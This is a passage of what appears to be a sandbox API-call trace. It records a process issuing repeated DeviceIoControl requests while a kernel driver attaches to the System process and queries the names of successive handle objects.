ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.122] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003161e20, HandleInformation=0x0) returned 0x0 [0103.122] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.122] PsReleaseProcessExitSynchronization () returned 0x2 [0103.122] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.122] ObQueryNameString (in: Object=0xfffffa8003161e20, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.122] ObfDereferenceObject (Object=0xfffffa8003161e20) returned 0x2 [0103.122] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.122] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.122] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.122] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.122] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.122] PsAcquireProcessExitSynchronization () returned 0x0 [0103.122] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.122] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800390e050, HandleInformation=0x0) returned 0x0 [0103.122] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.122] PsReleaseProcessExitSynchronization () returned 0x2 [0103.122] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.122] ObQueryNameString (in: Object=0xfffffa800390e050, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.122] ObfDereferenceObject (Object=0xfffffa800390e050) returned 0x2 [0103.122] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.122] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.122] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.122] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.122] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.122] PsAcquireProcessExitSynchronization () returned 0x0 [0103.122] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.122] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002503050, HandleInformation=0x0) returned 0x0 [0103.122] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.123] PsReleaseProcessExitSynchronization () returned 0x2 [0103.123] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.123] ObQueryNameString (in: Object=0xfffffa8002503050, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.123] ObfDereferenceObject (Object=0xfffffa8002503050) returned 0x2 [0103.123] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.123] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.123] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.123] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.123] PsAcquireProcessExitSynchronization () returned 0x0 [0103.123] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.123] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ac0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80025ec750, HandleInformation=0x0) returned 0x0 [0103.123] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.123] PsReleaseProcessExitSynchronization () returned 0x2 [0103.123] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.123] ObQueryNameString (in: Object=0xfffffa80025ec750, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.123] ObfDereferenceObject (Object=0xfffffa80025ec750) returned 0x2 [0103.123] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.123] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.123] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.123] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.123] PsAcquireProcessExitSynchronization () returned 0x0 [0103.123] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.123] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ac8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80023084d0, HandleInformation=0x0) returned 0x0 [0103.123] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.123] PsReleaseProcessExitSynchronization () returned 0x2 [0103.123] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.123] ObQueryNameString (in: Object=0xfffffa80023084d0, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.124] ObfDereferenceObject (Object=0xfffffa80023084d0) returned 0x2 [0103.124] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.124] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.124] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.124] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.124] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.124] PsAcquireProcessExitSynchronization () returned 0x0 [0103.124] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.124] ObReferenceObjectByHandle (in: Handle=0xffffffff80000acc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002584280, HandleInformation=0x0) returned 0x0 [0103.124] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.124] PsReleaseProcessExitSynchronization () returned 0x2 [0103.124] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.124] ObQueryNameString (in: Object=0xfffffa8002584280, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.124] ObfDereferenceObject (Object=0xfffffa8002584280) returned 0x2 [0103.124] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.124] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.124] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.124] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.124] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.124] PsAcquireProcessExitSynchronization () returned 0x0 [0103.124] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.124] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ad0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800390ee50, HandleInformation=0x0) returned 0x0 [0103.124] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.124] PsReleaseProcessExitSynchronization () returned 0x2 [0103.124] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.124] ObQueryNameString (in: Object=0xfffffa800390ee50, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.124] ObfDereferenceObject (Object=0xfffffa800390ee50) returned 0x2 [0103.124] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.125] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.125] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.125] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.125] PsAcquireProcessExitSynchronization () returned 0x0 [0103.125] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.125] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ad8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80022d26b0, HandleInformation=0x0) returned 0x0 [0103.125] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.125] PsReleaseProcessExitSynchronization () returned 0x2 [0103.125] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.125] ObQueryNameString (in: Object=0xfffffa80022d26b0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.125] ObfDereferenceObject (Object=0xfffffa80022d26b0) returned 0x2 [0103.125] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.125] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.125] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.125] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.125] PsAcquireProcessExitSynchronization () returned 0x0 [0103.125] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.125] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ae0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800193d050, HandleInformation=0x0) returned 0x0 [0103.125] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.125] PsReleaseProcessExitSynchronization () returned 0x2 [0103.125] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.125] ObQueryNameString (in: Object=0xfffffa800193d050, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.125] ObfDereferenceObject (Object=0xfffffa800193d050) returned 0x2 [0103.125] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.125] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.125] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.125] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.125] PsAcquireProcessExitSynchronization () returned 0x0 [0103.126] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.126] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80024f8f20, HandleInformation=0x0) returned 0x0 [0103.126] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.126] PsReleaseProcessExitSynchronization () returned 0x2 [0103.126] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.126] ObQueryNameString (in: Object=0xfffffa80024f8f20, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.126] ObfDereferenceObject (Object=0xfffffa80024f8f20) returned 0x2 [0103.126] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.126] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.126] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.126] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.126] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.126] PsAcquireProcessExitSynchronization () returned 0x0 [0103.126] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.126] ObReferenceObjectByHandle (in: Handle=0xffffffff80000af0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8010da5050, HandleInformation=0x0) returned 0x0 [0103.126] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.126] PsReleaseProcessExitSynchronization () returned 0x2 [0103.126] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.126] ObQueryNameString (in: Object=0xfffffa8010da5050, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.126] ObfDereferenceObject (Object=0xfffffa8010da5050) returned 0x2 [0103.126] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.127] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.127] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.127] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.128] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.128] PsAcquireProcessExitSynchronization () returned 0x0 [0103.128] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.128] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b00, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80036033c0, HandleInformation=0x0) returned 0x0 [0103.128] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.128] PsReleaseProcessExitSynchronization () returned 0x2 [0103.128] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.128] ObQueryNameString (in: Object=0xfffffa80036033c0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.128] ObfDereferenceObject (Object=0xfffffa80036033c0) returned 0x2 [0103.128] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.128] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.128] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.128] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.128] PsAcquireProcessExitSynchronization () returned 0x0 [0103.128] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.128] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b04, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80037d0f20, HandleInformation=0x0) returned 0x0 [0103.128] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.128] PsReleaseProcessExitSynchronization () returned 0x2 [0103.128] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.128] ObQueryNameString (in: Object=0xfffffa80037d0f20, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.128] ObfDereferenceObject (Object=0xfffffa80037d0f20) returned 0x2 [0103.128] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.128] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.128] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.128] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.128] PsAcquireProcessExitSynchronization () returned 0x0 [0103.128] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.128] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80037d1f20, HandleInformation=0x0) returned 0x0 [0103.128] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.129] PsReleaseProcessExitSynchronization () returned 0x2 [0103.129] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.129] ObQueryNameString (in: Object=0xfffffa80037d1f20, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.129] ObfDereferenceObject (Object=0xfffffa80037d1f20) returned 0x2 [0103.129] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.129] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.129] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.129] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.129] PsAcquireProcessExitSynchronization () returned 0x0 [0103.129] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.129] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800322de50, HandleInformation=0x0) returned 0x0 [0103.129] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.129] PsReleaseProcessExitSynchronization () returned 0x2 [0103.129] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.129] ObQueryNameString (in: Object=0xfffffa800322de50, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.129] ObfDereferenceObject (Object=0xfffffa800322de50) returned 0x2 [0103.129] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.129] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.129] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.129] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.129] PsAcquireProcessExitSynchronization () returned 0x0 [0103.129] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.129] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80038ee410, HandleInformation=0x0) returned 0x0 [0103.129] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.129] PsReleaseProcessExitSynchronization () returned 0x2 [0103.130] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.130] ObQueryNameString (in: 